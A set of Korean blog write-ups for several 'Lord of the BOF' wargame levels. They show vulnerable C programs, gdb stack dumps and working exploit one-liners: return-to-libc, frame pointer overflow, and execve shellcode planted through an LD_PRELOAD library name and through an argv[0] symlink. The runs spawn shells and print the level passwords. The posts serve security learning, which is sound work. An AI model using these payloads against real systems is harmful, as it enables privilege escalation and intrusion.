728x90

darkknight / new attacker

[darkknight@localhost darkknight]$ cat bugbear.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - bugbear
        - RTL1
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] == '\xbf')
	{
		printf("stack betrayed you!!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);
}

RTL(Return To Library) 문제다.

공유 라이브러리 영역의 system 함수 주소로 return 하면서 인자로 /bin/sh을 전달하면 된다.

system함수를 쓸 수 있는 이유는 libc.so.6 공유 라이브러리에 printf 함수가 있기에 비록 코드에는 printf 함수만 쓰이지만 libc.so.6 공유 라이브러리가 로드되기 때문에 system 함수도 참조할 수 있다.

따라서 system("/bin/sh") 형태로 호출할 것이다.

bugbear을 복사 후 gdb로 실행한다.

(gdb) b main
Breakpoint 1 at 0x8048436
(gdb) r AAAA
Starting program: /home/darkknight/bugbear2 AAAA

Breakpoint 1, 0x8048436 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>

p는 print 명령의 약자다. system 함수의 주소는 0x40058ae0이다.

"/bin/sh" 문자열의 주소를 찾을 단계다. system 함수 주소 옆에 libc system이 보인다. libc는 stand C libraries로서 다양한 기본 함수들이 존재한다. system, printf 등등 말이다. 그리고 "/bin/sh" 문자열도 존재한다. 따라서 libc에서 문자열을 찾는데 시작 주소는 system 주소로 설정한다.

#include <stdio.h>
main(){
	long shell=0x40058ae0;
	while(memcmp((void*)shell,"/bin/sh",8))
		shell++;
	printf("%p\n",shell);
}

shell 변수에 system 함수의 주소를 넣고 "/bin/sh"을 찾을 때까지 shell 변수를 증가시켜 최종적으로 "/bin/sh" 문자열의 주소를 찾는다. memcmp 대신 strncmp를 사용해도 동일한 결과를 얻을 수 있다. memcmp와 strncmp 함수의 차이는 strncmp 함수는 널문자를 만나면 비교를 멈추는데 memcmp 함수는 널문자를 만나도 주어진 크기만큼 비교를 실시한다.

컴파일 후 실행한 결과는 다음과 같다.

[darkknight@localhost darkknight]$ gcc getaddr.c -o getaddr
[darkknight@localhost darkknight]$ ./getaddr
0x400fbff9

이제 payload를 전달해야 한다.

RTL 방식에서는 다음과 같이 payload를 구성한다.

buffer sfp ret addr
(system함수)
dummy system param
("/bin/sh")

main 함수의 retn 주소를 system 함수로 설정하고 "/bin/sh"을 system 함수의 인자로 줄 것이다.

system("/bin/sh") 형태로 함수를 실행하게 된다.

dummy가 들어가는 이유는 system 함수가 ebp+8 주소부터 인자로 받기 때문이다. 또한 dummy는 원래 system 함수 다음에 호출할 함수 주소가 들어간다. RTL Chain 방식에서 더 자세하게 알 수 있다. 지금은 system 함수만 호출하기 때문에 dummy로 설정한다. RTL의 동작 방식에 대해 구체적으로 알고 싶으면 다음의 링크를 참고하자.

https://kblab.tistory.com/218

 

Return To Library (RTL)

Return To Libray (RTL) 개념 NX Bit(Never Execute Bit)가 적용된 스택을 우회하기 위해서 사용되는 기법. * NX BitNX Bit는 프로세스 명령어나 코드 또는 데이터 저장을 위한 메모리 영역을 따로 분리하는 CPU의

kblab.tistory.com

[darkknight@localhost darkknight]$ ./bugbear `python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"AAAA"+"\xf9\xbf\x0f\x40"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAɀAAAA
bash$ my-pass
euid = 513
new divide

bugbear의 비밀번호는 new divide이다.

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

giant -> assassin  (0) 2023.02.01
bugbear -> giant  (0) 2023.02.01
golem -> darkknight  (0) 2023.01.26
skeleton -> golem  (0) 2023.01.25
vampire -> skeleton  (0) 2023.01.24
728x90

golem / cup of coffee

/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkknight
        - FPO
*/

#include <stdio.h>
#include <stdlib.h>

void problem_child(char *src)
{
	char buffer[40];
	strncpy(buffer, src, 41);
	printf("%s\n", buffer);
}

main(int argc, char *argv[])
{
	if(argc<2){
		printf("argv error\n");
		exit(0);
	}

	problem_child(argv[1]);
}

코드 상단에 FPO라고 힌트가 주어졌다. Frame Pointer Overflow 약자로 overflow를 이용해 Frame Pointer를 조작한다.

보면 buffer는 40bytes인데 41bytes를 src로부터 복사하도록 코드가 짜여있다.

gdb로 보면 buffer의 40bytes 밑에는 sfp(4bytes)와 retn(4btyes)가 존재한다. 따라서 41bytes를 복사하면서 sfp의 하위 1bytes를 수정하여 원하는 주소로 이동해야한다.

FPO를 위해선 함수의 에필로그 과정을 알아야한다.

함수를 호출할 때는 프롤로그 과정이 진행된다. 다음과 같은 순서로 이루어진다.

1. push ebp
2. mov ebp, esp
3. sub esp, N

함수를 종료할 때는 에필로그 과정이 진행된다.

1. leave
2. ret

leave 명령을 세부적으로 표현하면 다음과 같다.

1-1. mov esp, ebp
1-2. pop ebp

ret 명령을 세부적으로 표현하면 다음과 같다.

2-1. pop eip (assembly에서 pop eip는 실제로 없음. 개념적으로 표현할 때만 사용)
2-2. jmp eip

에필로그 과정을 주목해야한다. darkknight 코드에서 problem_child를 호출하고 종료할때 epilogue 과정이 진행되는데 우리는 sfp의 하위 1byte를 덮어썼기에 leave 명령어 실행 결과 ebp에는 우리가 조작한 sfp가 들어가게된다.

이어서 retn 명령어 실행 후 종료하며 main 함수로 돌아오는데 main 함수의 마지막 부분이기에 main 함수도 바로 에필로그 과정을 진행한다. leave 명령어를 실행하는데 ebp에는 이미 우리가 조작한 sfp가 들어가 있기에 mov esp, ebp 후에 esp에도 우리가 조작한 ebp가 들어가며 pop ebp 후엔 스택의 ebp 주소에 저장된 값이 ebp에 들어간다. pop을 했기에 esp는 4 증가하고 pop eip 후에 스택의 해당 주소(esp)에 저장된 값이 eip에 저장된다. 마침내 jmp eip로 eip값으로 점프해서 명령을 실행한다.

[golem@localhost golem]$ gdb DARKKNIGHT -q
(gdb) disas problem_child
Dump of assembler code for function problem_child:
0x8048440 <problem_child>:	push   %ebp
0x8048441 <problem_child+1>:	mov    %esp,%ebp
0x8048443 <problem_child+3>:	sub    $0x28,%esp
0x8048446 <problem_child+6>:	push   $0x29
0x8048448 <problem_child+8>:	mov    0x8(%ebp),%eax
0x804844b <problem_child+11>:	push   %eax
0x804844c <problem_child+12>:	lea    0xffffffd8(%ebp),%eax
0x804844f <problem_child+15>:	push   %eax
0x8048450 <problem_child+16>:	call   0x8048374 <strncpy>
0x8048455 <problem_child+21>:	add    $0xc,%esp
0x8048458 <problem_child+24>:	lea    0xffffffd8(%ebp),%eax
0x804845b <problem_child+27>:	push   %eax
0x804845c <problem_child+28>:	push   $0x8048500
0x8048461 <problem_child+33>:	call   0x8048354 <printf>
0x8048466 <problem_child+38>:	add    $0x8,%esp
0x8048469 <problem_child+41>:	leave  
0x804846a <problem_child+42>:	ret    
0x804846b <problem_child+43>:	nop    
End of assembler dump.
(gdb) b *problem_child+21
Breakpoint 1 at 0x8048455
(gdb) r `python -c 'print "A"*4+"B"*36+"C"'`
Starting program: /home/golem/DARKKNIGHT `python -c 'print "A"*4+"B"*36+"C"'`

Breakpoint 1, 0x8048455 in problem_child ()
(gdb) x/20x $esp
0xbffffa98:	0xbffffaa4	0xbffffc39	0x00000029	0x41414141
0xbffffaa8:	0x42424242	0x42424242	0x42424242	0x42424242
0xbffffab8:	0x42424242	0x42424242	0x42424242	0x42424242
0xbffffac8:	0x42424242	0xbffffa43	0x0804849e	0xbffffc39
0xbffffad8:	0xbffffaf8	0x400309cb	0x00000002	0xbffffb24

첫 번째 방식

우선 darkknight 실행파일을 복사하여 gdb를 실행했다. problem_child 함수 내부에서 strncpy 후에 break을 걸고 들여다 본다. 0x4141~부터가 buffer임을 알 수 있다. 그럼 쉘 코드를 buffer에 넣고 그 주소로 이동할 수 있다면 공격이 성공할 것이다. 0xbffffa94로 sfp를 조작하면 main 함수 에필로그 과정에서 mov esp, ebp 후에 pop ebp를 하면  ebp는 0xbffffa94가 될 것이고 esp는 0xbffffa98이 될 것이다. 이어서 ret 과정에서 pop eip, jmp eip 하면 eip에는 0xbffffa98에 저장된 0xbffffaa4가 들어가고 0xbffffaa4로 점프하여 쉘 코드를 실행할 수 있을 것이다. 참고로 0xbffffa98에 0xbffffaa4(buffer 주소)가 있는 이유는 strncpy 함수의 첫번째 인자가 buffer 주소이기 때문이다.

[golem@localhost golem]$ ./DARKKNIGHT `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x94"'`
1󿿐h//shh/bin⏓󿲒°
               ̀4@ 
Segmentation fault (core dumped)
[golem@localhost golem]$ gdb -c core -q
Core was generated by `./DARKKNIGHT 1󿿐h//shh/bin⏓󿲒°
                                                   ̀'.
Program terminated with signal 11, Segmentation fault.
#0  0x804850c in ?? ()
(gdb) x/30x $esp-20
0xbffffa88:	0x400143e0	0xbffffaa4	0x40066070	0x40106980
0xbffffa98:	0x08048500	0xbffffab4	0x401081ec	0xbffffadc
0xbffffaa8:	0x08048466	0x08048500	0xbffffab4	0x90909090
0xbffffab8:	0x90909090	0x90909090	0x31909090	0x2f6850c0
0xbffffac8:	0x6868732f	0x6e69622f	0x5350e389	0xd231e189
0xbffffad8:	0x80cd0bb0	0xbffffa94	0x0804849e	0xbffffc34
0xbffffae8:	0xbffffb08	0x400309cb	0x00000002	0xbffffb34

core dumped가 발생했고 core 파일을 보니 0xbffffab4가 주소 0xbffffab0에 존재하고 있다. 그럼 4를 뺀 값인 0xbffffaac를 전달하자. 4를 빼는 것은 위에서 언급했듯이 pop 과정에서 esp 값이 4 증가하기 때문이다.

[golem@localhost golem]$ ./darkknight `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\xac"'`
1󿿐h//shh/bin⏓󿲒°
               ̀¬4       @ 
bash$ my-pass
euid = 512
new attacker

두  번째 방식

buffer 내부에 쉘 코드를 넣고 쉘 코드의 주소를 buffer 시작 주소에 넣는다. 그리고 sfp를 버퍼 시작 주소로 설정한다.

(gdb) R `python -c 'print "aaaa"+"\x90"*11+"f"*25+"c"'`
Starting program: /home/golem/DARKKNIGHT `python -c 'print "aaaa"+"\x90"*11+"f"*25+"c"'`

Breakpoint 1, 0x804846f in main ()
(gdb) c
Continuing.
Breakpoint 4, 0x8048455 in problem_child ()
(gdb) x/50x $ebp-60
0xbffffa90:	0xbffffacc	0x08048455	0xbffffaa4	0xbffffc39
0xbffffaa0:	0x00000029	0x61616161	0x90909090	0x90909090
0xbffffab0:	0x66909090	0x66666666	0x66666666	0x66666666
0xbffffac0:	0x66666666	0x66666666	0x66666666	0xbffffa63
0xbffffad0:	0x0804849e	0xbffffc39	0xbffffaf8	0x400309cb
0xbffffae0:	0x00000002	0xbffffb24	0xbffffb30	0x40013868

buffer 시작 주소는 0xbffffaa4이고 쉘 코드의 주소는 \x90 주소중 하나인 0xbffffaa8로 설정한다. sfp의 하위 1 byte에는 \xa0이 들어가야 쉘 코드로 점프할 수 있다.

[golem@localhost golem]$ ./DARKKNIGHT `python -c 'print "\xa8\xfa\xff\xbf"+"\x90"*11+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\xa0"'`
¨󿐐1󿿐h//shh/bin⏓󿲒°
                 ̀ 4     @ 
Segmentation fault (core dumped)
[golem@localhost golem]$ gdb -c core -q
Core was generated by `./DARKKNIGHT ¨󿐐1󿿐h//shh/bin⏓󿲒°
                                                     ̀ '.
Program terminated with signal 11, Segmentation fault.
#0  0xbffffadc in ?? ()
(gdb) x/30x $esp-40
0xbffffa80:	0xbffffadc	0x4005d920	0x400143e0	0xbffffaa4
0xbffffa90:	0x40066070	0x40106980	0x08048500	0xbffffab4
0xbffffaa0:	0x401081ec	0xbffffadc	0x08048466	0x08048500
0xbffffab0:	0xbffffab4	0xbffffaa8	0x90909090	0x90909090
0xbffffac0:	0x31909090	0x2f6850c0	0x6868732f	0x6e69622f
0xbffffad0:	0x5350e389	0xd231e189	0x80cd0bb0	0xbffffaa0
0xbffffae0:	0x0804849e	0xbffffc34	0xbffffb08	0x400309cb

core파일을 보니 buffer 주소가 0xbffffab4, 쉘 코드 주소는 0xbffffab8로 바뀌어 있다.

[golem@localhost golem]$ ./darkknight `python -c 'print "\xb8\xfa\xff\xbf"+"\x90"*11+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\xb0"'`
¸󿐐1󿿐h//shh/bin⏓󿲒°
                 ̀°4     @ 
bash$ my-pass
euid = 512
new attacker

세 번째 방식

이번엔 buffer 공간이 아닌 argv[1] 공간을 이용해본다.

argv[1]에 \x90+쉘 코드 조합을 포함하여 전달하고 \x90의 주소를 buffer에 시작 위치에 삽입한다.

그리고 buffer의 시작 주소로 sfp을 변경한다면 NOP Sled 방식으로 쉘 코드를 실행할 수 있을 것이다.

[golem@localhost golem]$ gdb DARKKNIGHT -q
(gdb) b main
Breakpoint 1 at 0x804846f
(gdb) r `python -c 'print "A"*40+"B"+"\x90"*100+"A"*25'`
Starting program: /home/golem/DARKKNIGHT `python -c 'print "A"*40+"B"+"\x90"*100+"A"*25'`

(gdb) b *problem_child+21
Breakpoint 2 at 0x8048455
(gdb) c
Continuing.

Breakpoint 2, 0x8048455 in problem_child ()
(gdb) x/30x $esp
0xbffffa28:	0xbffffa34	0xbffffbbc	0x00000029	0x41414141
0xbffffa38:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffa48:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffa58:	0x41414141	0xbffffa42	0x0804849e	0xbffffbbc
0xbffffa68:	0xbffffa88	0x400309cb	0x00000002	0xbffffab4
0xbffffa78:	0xbffffac0	0x40013868	0x00000002	0x08048390
0xbffffa88:	0x00000000	0x080483b1	0x0804846c	0x00000002

buffer의 시작 주소가 0xbffffa34임을 확인했다.

(gdb) b *main+50
Breakpoint 3 at 0x804849e
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB¼󿉺ÿ¿	@ 

Breakpoint 3, 0x804849e in main ()
(gdb) x/200x $ebp
0xbffffa42:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffa52:	0x41414141	0x41414141	0xfa424141	0x849ebfff
0xbffffa62:	0xfbbc0804	0xfa88bfff	0x09cbbfff	0x00024003
(생략)
0xbffffbb2:	0x4b4b5241	0x4847494e	0x41410054	0x41414141
---Type <return> to continue, or q <return> to quit---
0xbffffbc2:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffbd2:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffbe2:	0x90424141	0x90909090	0x90909090	0x90909090
0xbffffbf2:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffc02:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffc12:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffc22:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffc32:	0x90909090	0x90909090	0x90909090	0x90909090

\x90들 주소 중 하나인 0xbffffc02를 골랐다.

[golem@localhost golem]$ ./darkknight `python -c 'print "\x02\xfc\xff\xbf"+"A"*36+"\x30"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
򀀁AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0·󿉺ÿ¿	@ 
bash$ my-pass
euid = 512
new attacker
bash$

위처럼 payload를 전달하면 strncpy에 의해 buffer엔 0xbffffc02+"A"*36 형식으로 찰 것이고, sfp는 0xbffffa30이 된다. problem_child를 종료하고 main 함수의 에필로그 과정 중에 leave에서 mov esp, ebp & pop ebp가 실행된다. 이때 ebp는 0xbffffa30이기에 esp도 0xbffffa30이 된다. pop ebp에 의해 esp는 +4 되어 0xbffffa34가 될 것이고 이제 에필로그 과정의 마지막인 ret가 실행된다. ret 세부과정인 pop eip에서 0xbffffa34(현재 esp이자 buffer 주소)에 저장된 0xbffffc02가 eip에 저장되고 jmp eip에 의해 0xbffffc02로 이동하여 해당 주소에 저장된 명령을 실행한다. 마침내 NOP Sled가 발생하며 최종적으로 쉘 코드가 실행된다.

darkknight의 비밀번호는 new attacker이다.

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

bugbear -> giant  (0) 2023.02.01
darkknight -> bugbear  (0) 2023.01.31
skeleton -> golem  (0) 2023.01.25
vampire -> skeleton  (0) 2023.01.24
troll -> vampire  (2) 2023.01.24
728x90

skeleton / shellcoder

[skeleton@localhost tmp]$ cat ../golem.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - golem
        - stack destroyer
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);

        // stack destroyer!
        memset(buffer, 0, 44);
	memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
}

buffer시작 주소부터 스택 아래 끝까지 0으로 초기화하고 있다.

[skeleton@localhost tmp]$ touch hello.c
[skeleton@localhost tmp]$ gcc -fPIC -shared hello.c -o `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
[skeleton@localhost tmp]$ export LD_PRELOAD=./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

[skeleton@localhost tmp]$ gdb golem -q
(gdb) b main
Breakpoint 1 at 0x8048476
(gdb) r `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`
Starting program: /home/skeleton/tmp/golem `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`

Breakpoint 1, 0x8048476 in main ()
(gdb) x/1000x $ebp-4000
0xbfffea78:	0x0000049d	0x000005f3	0x00000119	0x000001d8
0xbfffea88:	0x000001d3	0x00000704	0x00000694	0x00000000
(생략)
0xbffff588:	0xbffff754	0x4000380e	0x40014468	0x90902f2e
0xbffff598:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff5a8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff5b8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff5c8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff5d8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff5e8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff5f8:	0x11eb9090	0xb1c9315e	0x0e6c8032	0xe98001ff
0xbffff608:	0xebf67501	0xffeae805	0xc132ffff	0x30306951
0xbffff618:	0x30696974	0x8a6f6a63	0x8a5451e4	0x0cb19ae2
0xbffff628:	0x400081ce	0x40013868	0x4000220c	0xbffffb5c
0xbffff638:	0x00000000	0x00000000	0x00000000	0x00000000

먼저 golem 파일을 tmp폴더를 만들어 아래에 복사했다. 모든 작업은 tmp에서 실시했다.

빈 파일 hello.c를 만든 후 \x90+쉘 코드 형태인 공유 라이브러리로 컴파일한다. -fPIC와 -shared 옵션으로 만들 수 있다. 빈 파일은 touch hello.c 명령을 사용해서 생성했다. 쉘 코드는 파일명에 사용되므로 \x2f가 없는 코드이어야 한다.

생성한 공유 라이브러리를 LD_PRELOAD 환경 변수에 등록한다.

LD_PRELOAD는 환경 변수 중 하나로 환경 변수에 설정된 라이브러리를 기존 라이브러리보다 앞서 로딩한다. 함수명이 다른 라이브러리에도 존재하는 경우 LD_PRELOAD에 설정된 라이브러리의 함수가 먼저 호출된다. 이런 방식으로 후킹(Hooking)을 하기도 한다. 자세한 내용은 다음의 링크를 참고해보자.

http://cloudrain21.com/dynamic-library-hooking

 

LD_PRELOAD 환경변수를 이용한 공유라이브러리(Dynamic Library) 후킹(Hooking) - Rain.i

All about IT tech, especially database, cloud, linux, clustering.

cloudrain21.com

golem 함수를 gdb로 들여다보니 위 쪽에 쉘 코드가 보인다. \x90중 하나의 주소를 retn 주소로 사용할 것이다. 0xbffff5b8로 설정했다.

[skeleton@localhost tmp]$ ../golem `python -c 'print "A"*44+"\xb8\xf5\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¸
bash$ my-pass
euid = 511
cup of coffee
bash$ exit

실제 golem 파일을 대상으로 실행하니 비밀번호가 나온다.

cup of coffee

참고로 tmp 폴더를 만들어서 작업을 했으면 golem 실행도 tmp 폴더 내에서 해야된다. 그렇지 않으면 실행이 안 되는 것을 확인했다. 처음부터 tmp 폴더를 만들지 않고 했으면 상관없었을 것이다.

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

darkknight -> bugbear  (0) 2023.01.31
golem -> darkknight  (0) 2023.01.26
vampire -> skeleton  (0) 2023.01.24
troll -> vampire  (2) 2023.01.24
orge -> troll  (0) 2023.01.23
728x90

vampire / music world

/*
        The Lord of the BOF : The Fellowship of the BOF
        - skeleton
        - argv hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i, saved_argc;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// egghunter 
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	// check the length of argument
	if(strlen(argv[1]) > 48){
		printf("argument is too long!\n");
		exit(0);
	}

	// argc saver
	saved_argc = argc;

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);

	// ultra argv hunter!
	for(i=0; i<saved_argc; i++)
		memset(argv[i], 0, strlen(argv[i]));
}

buffer도 0으로 초기화 시키고 있으며 argv 인자들을 0으로 초기화 시키고 있는 것이다.

기존에 해왔던 공격 방법들 중엔 쓸 만한게 생각나지 않는다. gdb로 복사한 skeleton 파일을 실행해보았다.

그리고 스택을 들여다보았다.

(gdb) r `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`
Starting program: /home/vampire/tmp/skeleton `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`

Breakpoint 1, 0x8048506 in main ()
(gdb) x/1000s $esp
0xbffffa88:	 "Ϝ202\004\b \034\002@¸󾰩"
0xbffffa97:	 "@[\205\017@4\227\004\b`®"
0xbffffaa3:	 "@\004󿹺ÿ¿ꚲ04\004\b \227\004\b4\227\004\bٺÿ¿ʜt\003@\002"
(생략)
0xbfffff72:	 "HISTSIZE=1000"
0xbfffff80:	 "TERM=xterm"
0xbfffff8b:	 "HOME=/home/vampire"
0xbfffff9e:	 "PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/vampire/bin"
0xbfffffe1:	 "/home/vampire/tmp/skeleton"
0xbffffffc:	 ""
0xbffffffd:	 ""
0xbffffffe:	 ""
0xbfffffff:	 ""
0xc0000000:	 <Address 0xc0000000 out of bounds>
0xc0000000:	 <Address 0xc0000000 out of bounds>

스택의 가장 아래쪽(가장 큰 주소)근처에 실행한 파일명이 나온다. 즉, argv[0]이다. 여기에 쉘 코드를 존재하고 retn 주소를 주변으로 잡으면 어떻게 될까? 일단 실행파일명에 쉘 코드가 들어가야하므로 이전에 troll 문제 풀때 사용했던 심볼릭 링크 방식을 이용한다.

buffer의 주소는 ebp-40이다. strcpy의 인자로 ebp-40이 들어가는 것을 보면 알 수 있다.

0x80485ee <main+238>:	push   %edx
0x80485ef <main+239>:	lea    %eax,[%ebp-40]
0x80485f2 <main+242>:	push   %eax
0x80485f3 <main+243>:	call   0x8048440 <strcpy>
0x80485f8 <main+248>:	add    %esp,8
[vampire@localhost tmp]$ ln -s skeleton `python -c 'print "\x90"*50+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*50'`
[vampire@localhost tmp]$ gdb `python -c 'print "\x90"*50+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*50'` -q
(gdb) b main
Breakpoint 1 at 0x8048506
(gdb) r `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`
Starting program: /home/vampire/tmp/鐞1ɱ2lÿ瀵󬩪ÿÿÿ2i00tii0cjo㐔⚱
                                                               ΁ `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`
Xshell
Breakpoint 1, 0x8048506 in main ()
(gdb) x/500s $ebp
0xbffff9a8:	 "ɹÿ¿ʜt\003@\002"
0xbffff9b2:	 ""
0xbffff9b3:	 ""
(생략)
0xbfffff12:	 "PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/vampire/bin"
0xbfffff55:	 "/home/vampire/tmp/", '\220' <repeats 50 times>, "ꚰ21^1ɱ2\200l\016ÿ\001\200蚰01u󪚰05髿ÿÿ2i00tii0cjo\212㐔\212ᚲ32±\f͜201", '\220' <repeats 50 times>
0xbffffffc:	 ""
0xbffffffd:	 ""
0xbffffffe:	 ""
0xbfffffff:	 ""
0xc0000000:	 <Address 0xc0000000 out of bounds>
0xc0000000:	 <Address 0xc0000000 out of bounds>

tmp 디렉터리를 /home/vampire 밑에 만들어서 내부에서 작업했다. skeleton 실행파일도 tmp 디렉터리 내부에 복사해서 사용했다. 우선 심볼릭 링크를 만든다. ln -s 원본파일 심볼릭링크파일 형식이다. 심볼릭 링크파일 명은 \x90 50개+쉘 코드+\x90 50개이다. 처음에 \x90 100개+쉘 코드 형식으로 하니 원하던대로 작동하지 않았다. 찾아보니 스택 가장 하단에 가깝게 쉘 코드가 존재하면 문제가 있다는 글을 보았다. 심볼릭링크 파일로 gdb를 실행한다. 스택 젤 아래쪽에 쉘 코드가 저장되어야하기 때문이다. argv[1]에는 임의의 값을 준다. 별 의미는 없다.

x/500s를 사용하는데 x/s $ebp는 $ebp 주소에 저장된 값을 문자열 형식으로 보여준다. 0xbfffff55에 argv[0]이 들어가있다. retn 주소는 \x90중 하나인 0xbfffff85으로 설정해야겠다.

[vampire@localhost vampire]$ ln -s skeleton `python -c 'print "\x90"*50+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*50'`
[vampire@localhost vampire]$ /home/vampire/`python -c 'print "\x90"*50+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*50'` `python -c 'print "A"*44+"\x85\xff\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÿÿ¿
bash$ my-pass
euid = 510
shellcoder
bash$

tmp에 복사한 skeleton 파일을 대상으로 실행해보니 바로 성공했다. 그래서 /home/vampire 디렉터리 내부의 skeleton 파일을 대상으로 실행하니 역시 성공했다.

skeleton의 비밀번호는 shellcoder이다.

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

golem -> darkknight  (0) 2023.01.26
skeleton -> golem  (0) 2023.01.25
troll -> vampire  (2) 2023.01.24
orge -> troll  (0) 2023.01.23
darkelf -> orge  (0) 2023.01.21
728x90

troll / aspirin

/*
        The Lord of the BOF : The Fellowship of the BOF
        - vampire
        - check 0xbfff
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
	char buffer[40];

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

        // here is changed!
        if(argv[1][46] == '\xff')
        {
                printf("but it's not forever\n");
                exit(0);
        }

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);
}

